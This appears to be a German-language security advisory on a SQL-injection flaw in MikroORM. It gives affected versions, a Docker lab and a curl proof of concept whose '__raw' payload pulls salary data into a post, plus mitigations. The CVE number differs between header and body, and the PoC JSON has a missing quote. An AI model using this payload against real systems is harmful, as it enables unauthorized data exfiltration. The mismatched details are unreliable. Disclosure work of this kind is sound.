Zurück zu den Updates
UpdatedSep 2, 2026

CVE-2026-34220 — Updated!

SQL-Injection-Schwachstelle in MikroORM

Teilen

CVE-2026-43220 MikroORM SQL-Injection

★ CVE-2026-43220 MikroORM SQL-Injection PoC ★

https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1


Übersicht

CVE-2026-43220 ist eine SQL-Injection-Schwachstelle in MikroORM, einem weit verbreiteten TypeScript/Node.js-ORM-Framework.
Wenn ein benutzerdefinierter Wert, der eine __raw-Eigenschaft enthält, ohne Validierung an eine Custom-Type-Spalte übergeben wird, identifiziert MikroORMs isRaw()-Prüfung ihn als vertrauenswürdigen internen Raw-SQL-Ausdruck und fügt den vom Angreifer kontrollierten sql-Wert direkt in die generierte Abfrage ein – ohne Typkonvertierung oder Bereinigung –, was zur unbeabsichtigten Ausführung beliebigen SQLs führt.


Betroffene Versionen

KategorieVersion
AnfälligMikroORM Version ≤ 6.4.3 & 7.0.0 ≤ Version ≤ 7.0.5
GepatchtMikroORM 6.4.4 & 7.0.6

Auswirkung

  • Exfiltration sensibler Daten aus der Datenbank ohne Autorisierung
  • Korruption oder unbeabsichtigte Modifikation bestehender Datenbankeinträge

Umgebung

docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln

PoC

Nach dem Start der anfälligen Umgebung folgen Sie den untenstehenden Schritten, um den Angriff zu reproduzieren.

Schritt 1. Senden Sie eine Anfrage mit einer bösartigen Payload, die __raw enthält

Senden Sie einen JSON-Body, der eine __raw-Eigenschaft enthält, die auf eine Custom-Type-Spalte abzielt.

curl -X POST http://localhost:3000/write \
  -H "Content-Type: application/json" \
  -d '{
    "author":"x",
    "title":"x,
    "content": {
      "__raw": true,
      "sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
    }
  }'

Schritt 2. Überprüfen Sie die HTTP-Antwort

Vergewissern Sie sich, dass die API eine erfolgreiche Antwort ohne Fehler zurückgibt, was darauf hindeutet, dass MikroORM die bösartige Payload als gültigen Wert akzeptiert hat.

Schritt 3. Bestätigen Sie, dass sensible Daten in den Post-Inhalt exfiltriert werden

Vergewissern Sie sich, dass das content-Feld des erstellten Posts das Abfrageergebnis aus der salaries-Tabelle enthält (z. B. Alice: 5000 / Bob: 7000 / ...), was bestätigt, dass Daten aus einer nicht zugehörigen Tabelle still und leise in die Antwort eingebettet wurden – ohne Fehler oder Verletzung der Zugriffskontrolle.


Gegenmaßnahmen

  • Aktualisieren Sie auf MikroORM 6.4.4 oder höher, wodurch eine Origin-Verifikation in isRaw() eingeführt wird, um extern bereitgestellte __raw-Eigenschaften abzulehnen
  • Wenden Sie eine Whitelist-basierte Eingabevalidierung an, um unerwartete Eigenschaften wie __raw abzulehnen, bevor Werte an die ORM-Schicht übergeben werden

Analyse

Kategorien